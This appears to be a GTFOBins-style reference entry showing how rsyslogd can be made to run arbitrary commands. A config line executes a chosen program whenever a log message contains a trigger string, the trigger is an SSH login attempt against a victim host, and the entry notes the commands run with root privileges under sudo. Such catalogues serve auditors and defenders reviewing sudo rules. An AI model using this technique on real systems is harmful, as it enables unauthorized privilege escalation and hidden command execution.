.. / rsyslogd

Sponsor

Fork

Star

Sponsor

Fork

Star

Command

This executable can run non-interactive system commands.

Comment
In order for this to work, one must be able to trigger one event containing the chosen string, e.g., somerandomstring. One possibility is to attempt to connect to the victim host via SSH, for example:
```
ssh somerandomstring@victim.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cat >/path/to/temp-file <<EOF
module(load="imuxsock")
:msg, contains, "somerandomstring" ^/path/to/command
EOF

rsyslogd -f /path/to/temp-file
```
Output
The commands are executed but their output is hidden from the attacker.

Source | History